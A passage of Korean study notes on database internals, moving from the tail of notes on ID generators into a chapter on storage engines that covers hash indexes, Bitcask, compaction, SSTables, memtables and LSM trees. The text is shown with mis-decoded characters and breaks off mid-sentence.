๊ฐ€์ •์€ ํ•˜๋‚˜์˜ ์„œ๋ฒ„๊ฐ€ ์—ฌ๋Ÿฌ ์ฝ”์–ด์—์„œ ์‹คํ–‰๋  ๊ฒฝ์šฐ ์œ ํšจํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ๋‹ค. - ๊ฐ ์ ˆ์˜ ๊ธธ์ด ์ตœ์ ํ™” - ๋™์‹œ์„ฑ์ด ๋‚ฎ๊ณ  ์ˆ˜๋ช…์ด ๊ธด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด๋ผ๋ฉด ์ผ๋ จ๋ฒˆํ˜ธ ์ ˆ์˜ ๊ธธ์ด๋ฅผ ์ค„์ด๊ณ  ํƒ€์ž„์Šคํƒฌํ”„ ์ ˆ์˜ ๊ธธ์ด๋ฅผ ๋Š˜๋ฆฌ๋Š” ๊ฒƒ์ด ํšจ์œจ์ ์ผ ์ˆ˜ ์žˆ๋‹ค. - ๊ณ ๊ฐ€์šฉ์„ฑ - ID ์ƒ์„ฑ๊ธฐ๋Š” ํ•„์ˆ˜ ๋ถˆ๊ฐ€๊ฒฐ ์ปดํฌ๋„ŒํŠธ์ด๋ฏ€๋กœ ์•„์ฃผ ๋†’์€ ๊ฐ€์šฉ์„ฑ์„ ์ œ๊ณตํ•ด์•ผ ํ•  ๊ฒƒ์ด๋‹ค. ``` 03.md ```# 03์žฅ ์ €์žฅ์†Œ์™€ ๊ฒ€์ƒ‰ ํŠน์ • workload ์œ ํ˜•์—์„œ ์ข‹์€ ์„ฑ๋Šฅ์„ ๋‚ด๊ฒŒ๋” ์ €์žฅ์†Œ ์—”์ง„์„ ์กฐ์ •ํ•˜๋ ค๋ฉด ์ €์žฅ์†Œ ์—”์ง„์ด ๋‚ด๋ถ€์—์„œ ์ˆ˜ํ–‰๋˜๋Š” ์ž‘์—…์— ๋Œ€ํ•ด ๋Œ€๋žต์ ์ธ ๊ฐœ๋…์„ ์•Œ์•„์•ผ ํ•  ํ•„์š”๊ฐ€ ์žˆ๋‹ค. ## ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๊ฐ•๋ ฅํ•˜๊ฒŒ ๋งŒ๋“œ๋Š” ๋ฐ์ดํ„ฐ ๊ตฌ์กฐ - append only ๋ฐ์ดํ„ฐ ํŒŒ์ผ log - ์—ฌ๊ธฐ์„œ์˜ ๋กœ๊ทธ๋Š” ์ผ๋ฐ˜์ ์ธ ์˜๋ฏธ๋กœ ์—ฐ์†๋œ ์ถ”๊ฐ€ ์ „์šฉ ๋ ˆ์ฝ”๋“œ์ด๋‹ค. ๋กœ๊ทธ๋Š” ์‚ฌ๋žŒ์ด ์ฝ์„ ์ˆ˜ ์—†๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ ํ˜•์‹์ผ ์ˆ˜๋„ ์žˆ๋‹ค. - ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ ํŠน์ • ํ‚ค์˜ ๊ฐ’์„ ํšจ์œจ์ ์œผ๋กœ ์ฐพ๊ธฐ ์œ„ํ•ด์„œ๋Š” ์ƒ‰์ธ์ด ํ•„์š”ํ•˜๋‹ค. - ์ƒ‰์ธ์€ ๋ถ€๊ฐ€์ ์ธ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ์œ ์ง€ํ•˜์—ฌ ์›ํ•˜๋Š” ๋ฐ์ดํ„ฐ์˜ ์œ„์น˜๋ฅผ ์ฐพ๋Š”๋ฐ ๋„์›€์„ ์ฃผ๋Š” ์ด์ •ํ‘œ ์—ญํ• ์„ ํ•œ๋‹ค. - ๋™์ผํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์—ฌ๋Ÿฌ ๋ฐฉ๋ฒ•์œผ๋กœ ์ฐพ๊ณ  ์‹ถ๋‹ค๋ฉด ๋‹ค์–‘ํ•œ ์ƒ‰์ธ์ด ํ•„์š”ํ•˜๋‹ค. - ์ƒ‰์ธ์€ ๊ธฐ๋ณธ ๋ฐ์ดํ„ฐ์—์„œ ํŒŒ์ƒ๋œ ์ถ”๊ฐ€์ ์ธ ๊ตฌ์กฐ์ด๋‹ค. ์ƒ‰์ธ์˜ ์ถ”๊ฐ€์™€ ์‚ญ์ œ๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ๋‚ด์šฉ์—๋Š” ์˜ํ–ฅ์„ ๋ผ์น˜์ง€๋Š” ์•Š์ง€๋งŒ ์„ฑ๋Šฅ์—๋Š” ์˜ํ–ฅ์„ ๋ผ์นœ๋‹ค. - ์ƒ‰์ธ์„ ์“ฐ๋Š” ๊ณผ์ •์—์„œ ์˜ค๋ฒ„ํ—ค๋“œ๊ฐ€ ๋ฐœ์ƒํ•˜๊ณ , ๋ฐ์ดํ„ฐ๋ฅผ ์“ธ ๋•Œ ๋งˆ๋‹ค ์ƒ‰์ธ์„ ๊ฐฑ์‹ ํ•ด์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. - ์ƒ‰์ธ์€ ์ €์žฅ์†Œ ์‹œ์Šคํ…œ์˜ ์ค‘์š”ํ•œ ํŠธ๋ ˆ์ด๋“œ ์˜คํ”„์ด๋‹ค. ๋”ฐ๋ผ์„œ ๊ฐœ๋ฐœ์ž์™€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ด€๋ฆฌ์ž๋Š” ์ „ํ˜•์ ์ธ ์งˆ์˜ ํŒจํ„ด์— ๋Œ€ํ•œ ์ง€์‹์„ ํ™œ์šฉํ•ด ์ˆ˜๋™ใ…‡์œผ๋กœ ์ƒ‰์ธ์„ ์„ ํƒํ•ด์•ผ ํ•œ๋‹ค. ### ํ•ด์‹œ์ƒ‰์ธ - K-V ๋ฐ์ดํ„ฐ๋Š” ๋งค์šฐ ์ผ๋ฐ˜์ ์ด๊ณ  ๋”์šฑ ๋ณต์žกํ•œ ์ƒ‰์ธ์„ ์œ„ํ•œ ๊ตฌ์„ฑ์š”์†Œ๋กœ ์œ ์šฉํ•˜๋‹ค. - K-V ์ €์žฅ์†Œ๋Š” ๋Œ€๋ถ€๋ถ„์˜ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด์— ์กด์žฌํ•˜๋Š” dictionary type๊ณผ ์œ ์‚ฌํ•˜๋‹ค. ๋””์Šคํฌ์ƒ์˜ ๋ฐ์ดํ„ฐ๋ฅผ ์ƒ‰์ธํ•˜๊ธฐ ์œ„ํ•ด ์ธ๋ฉ”๋ชจ๋ฆฌ ๋ฐ์ดํ„ฐ ๊ตฌ์กฐ์ธ ํ•ด์‹œ๋งต์„ ์‚ฌ์šฉํ•ด๋ณด๋ฉด ์–ด๋–จ๊นŒ? - ํ‚ค๋ฅผ ๋ฐ์ดํ„ฐ ํŒŒ์ผ์˜ ์˜คํ”„์…‹์— ๋งคํ•‘ํ•ด ์ธ๋ฉ”๋ชจ๋ฆฌ ํ•ด์‹œ๋งต์„ ์œ ์ง€ํ•˜๋Š” ์ „๋žต์„ ๊ฐ€์งˆ ์ˆ˜ ์žˆ๋‹ค. - ํŒŒ์ผ์— ์ƒˆ๋กœ์šด K-V ์Œ์„ ์ถ”๊ฐ€ํ•  ๋•Œ ๋งˆ๋‹ค ๋ฐฉ๊ธˆ ๊ธฐ๋กํ•œ ๋ฐ์ดํ„ฐ์˜ ์˜คํ”„์…‹์„ ๋ฐ˜์˜ํ•˜๊ธฐ ์œ„ํ•ด ํ•ด์‹œ๋งต๋„ ๊ฐฑ์‹ ํ•ด์•ผ ํ•œ๋‹ค. - ๊ฐ’์„ ์กฐํšŒํ•˜๋ ค๋ฉด ํ•ด์‹œ ๋งต์„ ์‚ฌ์šฉํ•ด ๋ฐ์ดํ„ฐํŒŒ์ผ์—์„œ ์˜คํ”„์…‹์„ ์ฐพ์•„ ํ•ด๋‹น ์œ„์น˜๋ฅผ ๊ตฌํ•˜๊ณ  ๊ฐ’์„ ์ฝ๋Š”๋‹ค. - ์ด ๋ฐฉ๋ฒ•์€ ๋‹จ์ˆœํ•ด๋ณด์ด์ง€๋งŒ ์‹ค์ œ๋กœ ๋งŽ์ด ์‚ฌ์šฉ๋œ๋‹ค. Bitcask(Riak์˜ ๊ธฐ๋ณธ ์ €์žฅ์†Œ ์—”์ง„)์ด ๊ทผ๋ณธ์ ์œผ๋กœ ์‚ฌ์šฉํ•˜๋Š” ๋ฐฉ์‹์ด๋‹ค. - Bitcask๋Š” ํ•ด์‹œ ๋งต์„ ์ „๋ฌด ๋ฉ”๋ชจ๋ฆฌ์— ์œ ์ง€ํ•˜์—ฌ RAM์— ๋ชจ๋“  ํ‚ค๊ฐ€ ์ €์žฅ๋œ๋‹ค๋Š” ๊ฒƒ์„ ์ „์ œ ์กฐ๊ฑด์œผ๋กœ ๊ณ ์„ฑ๋Šฅ์˜ ์ฝ๊ธฐ/์“ฐ๊ธฐ๋ฅผ ๋ณด์žฅํ•œ๋‹ค. - ์ด๋Ÿฌํ•œ ์ €์žฅ์†Œ ์—”์ง„์€ ๊ฐ ํ‚ค์˜ ๊ฐ’์ด ์ž์ฃผ ๊ฐฑ์‹ ๋˜๋Š” ์ƒํ™ฉ์— ๋งค์šฐ ์ ํ•ฉํ•˜๋‹ค. ์“ฐ๊ธฐ๊ฐ€ ์•„์ฃผ ๋งŽ์ง€๋งŒ ๊ณ ์œ ํ‚ค๊ฐ€ ๋งŽ์ง€ ์•Š์€ ๊ฒฝ์šฐ์— ์œ ์šฉํ•˜๋‹ค. ์ฆ‰, ํ‚ค๋‹น ์“ฐ๊ธฐ ์ˆ˜๊ฐ€ ๋งŽ์ง€๋งŒ ๋ฉ”๋ชจ๋ฆฌ์— ๋ชจ๋“  ํ‚ค๋ฅผ ๋ณด๊ด€ํ•  ์ˆ˜ ์žˆ๋‹ค. - ์ง€๊ธˆ ์„ค๋ช…ํ•œ๋Œ€๋กœ ํ•ญ์ƒ ๋””์Šคํฌ์— ํŒŒ์ผ์„ ์ถ”๊ฐ€ํ•˜๋‹ค๋ณด๋ฉด ๊ฒฐ๊ตญ ๋””์Šคํฌ ๊ณต๊ฐ„์ด ๋ถ€์กฑํ•ด์ง„๋‹ค. ์ด ์ƒํ™ฉ์€ ํŠน์ • ํฌ๊ธฐ์˜ segment๋กœ ๋กœ๊ทธ๋ฅผ ๋‚˜๋ˆ„์–ด ํ•ด๊ฒฐํ•  ์ˆ˜ ์žˆ๋‹ค. ํŠน์ • ํฌ๊ธฐ์— ๋„๋‹ฌํ–ˆ์„ ๋•Œ ์„ธ๊ทธ๋จผํŠธ ํŒŒ์ผ์„ ๋‹ซ๊ณ  ์ƒˆ๋กœ์šด ์„ธ๊ทธ๋จผํŠธ์— ์ดํ›„ ์“ฐ๊ธฐ๋ฅผ ์ˆ˜ํ–‰ํ•œ๋‹ค. ์„ธ๊ทธ๋จผํŠธ์— ๋Œ€ํ•ด ์ปดํŒฉ์…˜์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ปดํŒฉ์…˜์€ ๋กœ๊ทธ์—์„œ ์ค‘๋ณต๋œ ํ‚ค๋ฅผ ๋ฒ„๋ฆฌ๊ณ  ๊ฐ ํ‚ค์˜ ์ตœ์‹  ๊ฐฑ์‹  ๊ฐ’๋งŒ ์œ ์ง€ํ•˜๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•œ๋‹ค. - ์ปดํŒฉ์…˜์€ ๋ณดํ†ต ์„ธ๊ทธ๋จผํŠธ๋ฅผ ๋” ์ž‘๊ฒŒ ๋งŒ๋“ค์–ด ๋™์‹œ์— ์—ฌ๋Ÿฌ ์„ธ๊ทธ๋จผํŠธ๋ฅผ ํ•ฉ์น  ์ˆ˜ ์žˆ๋‹ค. ์„ธ๊ทธ๋จผํŠธ๋Š” ์“ฐ์—ฌ์ง„ ์ดํ›„์— ์ ˆ๋Œ€๋กœ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์— ๋ณ‘ํ•ฉํ•  ์„ธ๊ทธ๋จผํŠธ๋Š” ์ƒˆ๋กœ์šด ํŒŒ์ผ๋กœ ๋งŒ๋“ ๋‹ค. ๊ณ ์ •๋œ ์„ธ๊ทธ๋จผํŠธ์˜ ๋ณ‘ํ•ฉ๊ณผ ์ปดํŒฉ์…˜์€ ๋ฐฑ๊ทธ๋ผ์šด๋“œ์—์„œ ์ˆ˜ํ–‰๋  ์ˆ˜ ์žˆ๊ณ , ์ปดํŒฉ์…˜์ด ์ˆ˜ํ–‰๋˜๋Š” ๋™์•ˆ ์ด์ „ ์„ธ๊ทธ๋จผํŠธ ํŒŒ์ผ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ฝ๊ธฐ์™€ ์“ฐ๊ธฐ ์š”์ฒญ์„ ์ •์ƒ์ ์œผ๋กœ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๋‹ค. ๋ณ‘ํ•ฉ์ด ๋๋‚œ ์ดํ›„ ์ฝ๊ธฐ ์š”์ฒญ์€ ์ด์ „ ์„ธ๊ทธ๋จผํŠธ ๋Œ€์‹  ์ƒˆ๋กœ ๋ณ‘ํ•ฉ๋œ ์„ธ๊ทธ๋จผํŠธ ํŒŒ์ผ์„ ์‚ฌ์šฉํ•˜๋„๋ก ์ „ํ™˜ํ•œ๋‹ค. ์ „ํ™˜ ํ›„์—๋Š” ์ด์ „ ์„ธ๊ทธ๋จผํŠธ ํŒŒ์ผ์„ ๊ฐ„๋‹จํžˆ ์‚ญ์ œ ํ•œ๋‹ค. - ์ด์ œ ๊ฐ ์„ธ๊ทธ๋จผํŠธ๋Š” ํ‚ค๋ฅผ ํŒŒ์ผ ์˜คํ”„์…‹์— ๋งคํ•‘ํ•œ ์ž์ฒด ์ธ๋ฉ”๋ชจ๋ฆฌ ํ•ด์‹œ ํ…Œ์ด๋ธ”์„ ๊ฐ–๋Š”๋‹ค. ํ‚ค์˜ ๊ฐ’์„ ์ฐพ์œผ๋ ค๋ฉด ์ตœ์‹  ์„ธ๊ทธ๋จผํŠธ ํ•ด์‹œ ๋งต์„ ๋จผ์ € ํ™•์ธํ•˜๊ณ , ํ‚ค๊ฐ€ ์—†์„ ๊ฒฝ์šฐ ๋‘ ๋ฒˆ์งธ, ์„ธ๋ฒˆ์งธ ์ตœ์‹  ์„ธ๊ทธ๋จผํŠธ๋ฅผ ํ™•์ธํ•œ๋‹ค. ๋ณ‘ํ•ฉ ๊ณผ์ •์„ ํ†ตํ•ด ์„ธ๊ทธ๋จผํŠธ ์ˆ˜๋ฅผ ์ ๊ฒŒ ์œ ์ง€ํ•˜์—ฌ ์กฐํšŒํ•  ๋•Œ ๋งŽ์€ ํ•ด์‹œ ๋งต์„ ํ™•์ธํ•  ํ•„์š”๊ฐ€ ์—†๋‹ค. - ํ•˜์ง€๋งŒ ์ด๋Ÿฐ ๊ฐ„๋‹จํ•œ ์ƒ๊ฐ์„ ๊ตฌํ˜„ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์‹ค์ œ๋กœ ๋งŽ์€ ์‚ฌํ•ญ์„ ๊ณ ๋ คํ•ด์•ผ ํ•œ๋‹ค. ์˜ˆ๋ฅผ ๋“ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค. - ํŒŒ์ผ ํ˜•์‹ - ๋ ˆ์ฝ”๋“œ ์‚ญ์ œ - Crash ๋ณต๊ตฌ - DB ์žฌ์‹œ์ž‘์‹œ ์ธ๋ฉ”๋ชจ๋ฆฌ ํ•ด์‹œ๋งต์€ ์†์‹ค๋œ๋‹ค. ๋ณต๊ตฌํ•˜๋ ค๋ฉด ์ „์ฒด ์„ธ๊ทธ๋จผํŠธ ํŒŒ์ผ์„ ์ฝ์–ด ๊ฐ ํ‚ค์— ๋Œ€ํ•œ ์ตœ์‹  ๊ฐ’์œผ๋กœ ํ•ด์‹œ๋งต์„ ๋ณต์›ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ์„ธ๊ทธ๋จผํŠธ ํŒŒ์ผ์ด ํฐ ๊ฒฝ์šฐ ๋ณต์›์ด ์˜ค๋ž˜ ๊ฑธ๋ฆด ์ˆ˜ ์žˆ๋‹ค. - ๋ถ€๋ถ„์ ์œผ๋กœ ๋ ˆ์ฝ”๋“œ ์“ฐ๊ธฐ - ๋™์‹œ์„ฑ ์ œ์–ด - ์“ฐ๊ธฐ๋ฅผ ์—„๊ฒฉํ•˜๊ฒŒ ์ˆœ์ฐจ์ ์œผ๋กœ ๋กœ๊ทธ์— ์ถ”๊ฐ€ํ•  ๋•Œ ์ผ๋ฐ˜์ ์ธ ๊ตฌํ˜„ ๋ฐฉ๋ฒ•์€ ํ•˜๋‚˜์˜ ์“ฐ๊ธฐ ์“ฐ๋ ˆ๋“œ๋งŒ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด๋‹ค. ๋ฐ์ดํ„ฐ ํŒŒ์ผ ์„ธ๊ทธ๋จผํŠธ๋Š” ์ถ”๊ฐ€ ์ „์šฉ์ด๊ฑฐ๋‚˜ ๋ถˆ๋ณ€์ด๋ฏ€๋กœ ๋‹ค์ค‘ ์Šค๋ ˆ๋“œ๋กœ ๋™์‹œ์— ์ฝ๊ธฐ๋ฅผ ํ•  ์ˆ˜ ์žˆ๋‹ค. - ํ•ด์‹œ ํ…Œ์ด๋ธ” ์ƒ‰์ธ์˜ ์ œํ•œ ์‚ฌํ•ญ - ํ•ด์‹œ ํ…Œ์ด๋ธ”์„ ๋ฉ”๋ชจ๋ฆฌ์— ์ €์žฅํ•ด์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ํ‚ค๊ฐ€ ๋„ˆ๋ฌด ๋งŽ์„ ๊ฒฝ์šฐ ๋ฌธ์ œ๊ฐ€ ๋œ๋‹ค. - range query์— ํšจ์œจ์ ์ด์ง€ ์•Š๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด `kitty0000`๊ณผ `kitty9999` ์‚ฌ์ด ๋ชจ๋“  ํ‚ค๋ฅผ ์‰ฝ๊ฒŒ ์Šค์บ” ํ•  ์ˆ˜ ์—†๋‹ค. ํ•ด์‹œ ๋งต์—์„œ ๋ชจ๋“  ๊ฐœ๋ณ„ ํ‚ค๋ฅผ ์กฐํšŒํ•ด์•ผ ํ•œ๋‹ค. - ๋‹ค์Œ์—์„œ ์ด๋Ÿฌํ•œ ์ œํ•œ์ด ์—†๋Š” ์ƒ‰์ธ ๊ตฌ์กฐ๋ฅผ ์‚ดํŽด๋ณด์ž ### SSํ…Œ์ด๋ธ”๊ณผ LSM ํŠธ๋ฆฌ - Sorted String Table (SST, SSํ…Œ์ด๋ธ”) - ์„ธ๊ทธ๋จผํŠธ ํŒŒ์ผ์ด ํ‚ค๋กœ ์ •๋ ฌ๋œ ํ˜•์‹ - ๊ฐ ํ‚ค๋Š” ๋ณ‘ํ•ฉ๋œ ์„ธ๊ทธ๋จผํŠธ ํŒŒ์ผ์— ๋ฐ˜๋“œ์‹œ ํ•œ ๋ฒˆ๋งŒ ๋‚˜ํƒ€๋‚˜์•ผ ํ•œ๋‹ค. (์ปดํŒฉ์…˜ ๊ณผ์ •์€ ์ด๋ฅผ ์ด๋ฏธ ๋ณด์žฅํ•œ๋‹ค.) - SST๋Š” ํ•ด์‹œ ์ƒ‰์ธ์„ ๊ฐ€์ง„ ๋กœ๊ทธ ์„ธ๊ทธ๋จผํŠธ๋ณด๋‹ค ๋ช‡ ๊ฐ€์ง€ ํฐ ์žฅ์ ์ด ์žˆ๋‹ค. - ํŒŒ์ผ์ด ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๋ฉ”๋ชจ๋ฆฌ๋ณด๋‹ค ํฌ๋”๋ผ๋„ ๊ฐ„๋‹จํ•˜๊ณ  ํšจ์œจ์ ์ด๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ mergesort์™€ ์œ ์‚ฌํ•˜๋‹ค. - ํŒŒ์ผ์—์„œ ํŠน์ • ํ‚ค๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด ๋”๋Š” ๋ฉ”๋ชจ๋ฆฌ์— ๋ชจ๋“  ํ‚ค์˜ ์ƒ‰์ธ์„ ์œ ์ง€ํ•  ํ•„์š”๊ฐ€ ์—†๋‹ค. ์ผ๋ถ€ ํ‚ค์— ๋Œ€ํ•œ ์˜คํ”„์…‹์„ ์•Œ๋ ค์ฃผ๋Š” ์ธ๋ฉ”๋ชจ๋ฆฌ ์ƒ‰์ธ์ด ์—ฌ์ „ํžˆ ํ•„์š”ํ•˜์ง€๋งŒ ์ƒ‰์ธ ๋‚ด์šฉ์ด ๋“œ๋ฌธ๋“œ๋ฌธ ํฌ์†Œํ•  ์ˆ˜ ์žˆ๋‹ค. - ์ฝ๊ธฐ ์š”์ฒญ์€ ์š”์ฒญ ๋ฒ”์œ„ ๋‚ด์—์„œ ์—ฌ๋Ÿฌ ํ‚ค-๊ฐ’ ์Œ์„ ์Šค์บ”ํ•ด์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ํ•ด๋‹น ๋ ˆ์ฝ”๋“œ๋“ค์„ ๋ธ”๋ก์œผ๋กœ ๊ทธ๋ฃนํ™”ํ•˜๊ณ  ๋””์Šคํฌ์— ์“ฐ๊ธฐ ์ „์— ์••์ถ•ํ•œ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ํฌ์†Œ ์ธ๋ฉ”๋ชจ๋ฆฌ ์ƒ‰์ธ์˜ ๊ฐ ํ•ญ๋ชฉ์€ ์••์ถ•๋œ ๋ธ”๋ก์˜ ์‹œ์ž‘์„ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋œ๋‹ค. ๋””์Šคํฌ ๊ณต๊ฐ„์„ ์ ˆ์•ฝํ•œ๋‹ค๋Š” ์  ์™ธ์—๋„ ์••์ถ•์€ I/O ๋Œ€์—ญํญ ์‚ฌ์šฉ๋„ ์ค„์ธ๋‹ค. #### SSํ…Œ์ด๋ธ” ์ƒ์„ฑ๊ณผ ์œ ์ง€ - Red Black Tree๋‚˜ AVL ํŠธ๋ฆฌ์™€ ๊ฐ™์€ ์ž˜ ์•Œ๋ ค์ง„ ๊ตฌ์กฐ๋ฅผ ์ด์šฉํ•˜์—ฌ ์ •๋ ฌ๋œ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์œ ์ง€ ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋Ÿฐ ๋ฐ์ดํ„ฐ ๊ตฌ์กฐ๋ฅผ ์ด์šฉํ•˜์—ฌ ์ž„์˜ ์ˆœ์„œ๋กœ ํ‚ค๋ฅผ ์‚ฝ์ž…ํ•˜๊ณ  ์ •๋ ฌ๋œ ์ˆœ์„œ๋กœ ํ‚ค๋ฅผ ๋‹ค์‹œ ์ฝ์„ ์ˆ˜ ์žˆ๋‹ค. - ์ด์ œ ์ €์žฅ์†Œ ์—”์ง„์„ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค. - ์“ฐ๊ธฐ ๋ฐœ์ƒ์‹œ ์ธ๋ฉ”๋ชจ๋ฆฌ balanced tree ๋ฐ์ดํ„ฐ ๊ตฌ์กฐ์— ์ถ”๊ฐ€ํ•œ๋‹ค. ์ด ์ธ๋ฉ”๋ชจ๋ฆฌ balanced tree๋ฅผ memtable์ด๋ผ๊ณ ๋„ ํ•œ๋‹ค. - memtable์ด ๋ณดํ†ต ์ˆ˜ ๋ฉ”๊ฐ€๋ฐ”์ดํŠธ ์ •๋„์˜ ์ž„๊ณ—๊ฐ’๋ณด๋‹ค ์ปค์ง€๋ฉด SS ํ…Œ์ด๋ธ” ํŒŒ์ผ๋กœ ๋””์Šคํฌ์— ๊ธฐ๋กํ•œ๋‹ค. ์ƒˆ๋กœ์šด SSํ…Œ์ด๋ธ” ํŒŒ์ผ์€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ๊ฐ€์žฅ ์ตœ์‹  ์„ธ๊ทธ๋จผํŠธ๊ฐ€ ๋œ๋‹ค. SSํ…Œ์ด๋ธ”์„ ๋””์Šคํฌ์— ๊ธฐ๋กํ•˜๋Š” ๋™์•ˆ ์“ฐ๊ธฐ๋Š” ์ƒˆ๋กœ์šด ๋ฉคํ…Œ์ด๋ธ” ์ธ์Šคํ„ด์Šค์— ๊ธฐ๋กํ•œ๋‹ค. - ์ฝ๊ธฐ ์š”์ฒญ์„ ์ œ๊ณตํ•  ๋•Œ ๋จผ์ € ๋ฉคํ…Œ์ด๋ธ”์—์„œ ํ‚ค๋ฅผ ์ฐพ๊ณ  ๊ทธ ๋‹ค์Œ ๋””์Šคํฌ ์ƒ์˜ ๊ฐ€์žฅ ์ตœ์‹  ์„ธ๊ทธ๋จผํŠธ์—์„œ ์ฐพ๋Š”๋‹ค. ๊ทธ ๋‹ค์Œ์œผ๋กœ ๋‘๋ฒˆ์งธ, ์„ธ๋ฒˆ์งธ ์„ธ๊ทธ๋จผํŠธ ๋“ฑ์—์„œ ์ฐพ๋Š”๋‹ค. - ๊ฐ€๋• ์„ธ๊ทธ๋จผํŠธ ํŒŒ์ผ์„ ํ•ฉ์น˜๊ณ  ๋ฎ์–ด ์“ฐ์—ฌ์ง€๊ฑฐ๋‚˜ ์‚ญ์ œ๋œ ๊ฐ’์„ ๋ฒ„๋ฆฌ๋Š” ๋ณ‘ํ•ฉ๊ณผ ์ปดํŒฉ์…˜ ๊ณผ์ •์„ ์ˆ˜ํ–‰ํ•œ๋‹ค. ์ด ๊ณผ์ •์€ ๋ฐฑ๊ทธ๋ผ์šด๋“œ์—์„œ ์ˆ˜ํ–‰๋œ๋‹ค. - ์œ„ ๊ณ„ํš์€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ๊ณ ์žฅ๋‚ฌ์„ ๋•Œ ๋ฉคํ…Œ์ด๋ธ”์— ์กด์žฌํ•˜์ง€๋งŒ ๋””์Šคํฌ์— ๊ธฐ๋ก๋˜์ง€ ์•Š์€ ์“ฐ๊ธฐ๊ฐ€ ์†์‹ค๋œ๋‹ค๋Š” ๋ฌธ์ œ๊ฐ€ ์žˆ๋‹ค. ์ด๋Ÿฐ ๋ฌธ์ œ๋ฅผ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ๋งค๋ฒˆ ์“ฐ๊ธฐ๋ฅผ ์ฆ‰์‹œ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ๋Š” ๋ถ„๋ฆฌ๋œ ๋กœ๊ทธ๋ฅผ ๋””์Šคํฌ ์ƒ์— ์œ ์ง€ํ•ด์•ผ ํ•œ๋‹ค. ์ด ๋กœ๊ทธ๋Š” ์†์ƒ ํ›„ ๋ฉคํ…Œ์ด๋ธ”์„ ๋ณต์›ํ•  ๋•Œ๋งŒ ํ•„์š”ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ •๋ ฌ๋˜์ง€ ์•Š์•„๋„ ๊ดœ์ฐฎ๋‹ค. ๋ฉคํ…Œ์ด๋ธ”์„ SSํ…Œ์ด๋ธ”๋กœ ๊ธฐ๋กํ•˜๊ณ  ๋‚˜๋ฉด ํ•ด๋‹น ๋กœ๊ทธ๋Š” ๋ฒ„๋ฆด ์ˆ˜ ์žˆ๋‹ค. #### SSํ…Œ์ด๋ธ”์—์„œ LSM ํŠธ๋ฆฌ ๋งŒ๋“ค๊ธฐ - ์ด ์ƒ‰์ธ ๊ตฌ์กฐ๋Š” ๋กœ๊ทธ ๊ตฌ์กฐํ™” ๋ณ‘ํ•ฉ ํŠธ๋ฆฌ(Log-Structured Merge-Tree)(AKA LSM Tree) ๋ž€ ์ด๋ฆ„์œผ๋กœ ๋ฐœํ‘œ๋๋‹ค. ์ด ์ƒ‰์ธ ๊ตฌ์กฐ๋Š” ๋กœ๊ทธ ๊ตฌ์กฐํ™” ํŒŒ์ผ ์‹œ์Šคํ…œ์˜ ์ดˆ๊ธฐ ์ž‘์—… ๊ธฐ๋ฐ˜์ด ๋๋‹ค. - ์ •๋ ฌ๋œ ํŒŒ์ผ ๋ณ‘ํ•ฉ๊ณผ ์ปดํŒฉ์…˜ ์›๋ฆฌ๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•˜๋Š” ์ €์žฅ์†Œ ์—”์ง„์„ LSM ์ €์žฅ์†Œ ์—”์ง„์ด๋ผ ๋ถ€๋ฅธ๋‹ค. - ์—˜๋ผ์Šคํ‹ฑ์„œ์น˜๋‚˜ ์†”๋ผ์—์„œ ์‚ฌ์šฉํ•˜๋Š” ์ „๋ฌธ ๊ฒ€์ƒ‰ ์ƒ‰์ธ ์—”์ง„ ๋ฃจ์”ฌ์€ ์šฉ์–ด ์‚ฌ์ „์„ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•ด ์ด์™€ ์œ ์‚ฌํ•œ ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•œ๋‹ค. - ํ‚ค๋ฅผ ๋‹จ์–ด(์šฉ์–ด)๋กœ, ๊ฐ’์€ ๋‹จ์–ด๋ฅผ ํฌํ•จํ•œ ๋ชจ๋“  ๋ฌธ์„œ์˜ ID ๋ชฉ๋ก์œผ๋กœ ํ•˜๋Š” ํ‚ค-๊ฐ’ ๊ตฌ์กฐ๋กœ ํ‘œํ˜„ํ•œ๋‹ค. ๋ฃจ์”ฌ์—์„œ ์šฉ์–ด์™€ ํฌ์ŠคํŒ…์˜ ๋ชฉ๋ก์€ SSํ…Œ์ด๋ธ” ๊ฐ™์€ ์ •๋ ฌ ํŒŒ์ผ์— ์œ 